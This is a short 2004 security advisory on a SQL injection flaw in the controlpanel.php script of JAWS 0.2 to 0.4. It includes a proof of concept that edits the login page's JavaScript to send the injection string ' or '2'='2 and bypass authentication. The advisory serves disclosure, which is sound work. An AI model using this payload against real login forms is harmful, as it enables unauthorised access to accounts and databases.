JAWS ControlPanel.PHP SQL Injection Vulnerability

Bugtraq ID:	10826
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 29 2004 12:00AM
Updated:	Jul 29 2004 12:00AM
Credit:	Discovery of this vulnerability is credited to Fernando Quintero <[email protected]>.
Vulnerable:	JAWS JAWS 0.4 JAWS JAWS 0.3 JAWS JAWS 0.2
Not Vulnerable:

JAWS ControlPanel.PHP SQL Injection Vulnerability

JAWS is reportedly affected by a remote SQL injection vulnerability. This issue occurs in the controlpanel.php script due to a failure of the application to properly sanitize user-supplied URI parameter input before using it in an SQL query.

Because of this, a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database.

JAWS ControlPanel.PHP SQL Injection Vulnerability

The following example is available:

Modify the javascript function in the Login.html file to:

<script type="text/javascript">

function crypt_form(form) {
var new_password = calcMD5(form.password.value);
form.crypted_password.value = "' or '2'='2";
form.password.value = "";
return true;
}
</script>

JAWS ControlPanel.PHP SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

JAWS ControlPanel.PHP SQL Injection Vulnerability

References:

• JAWS Homepage (JAWS)
  
• Jaws 0.4: authentication bypass (RubEn_Molina )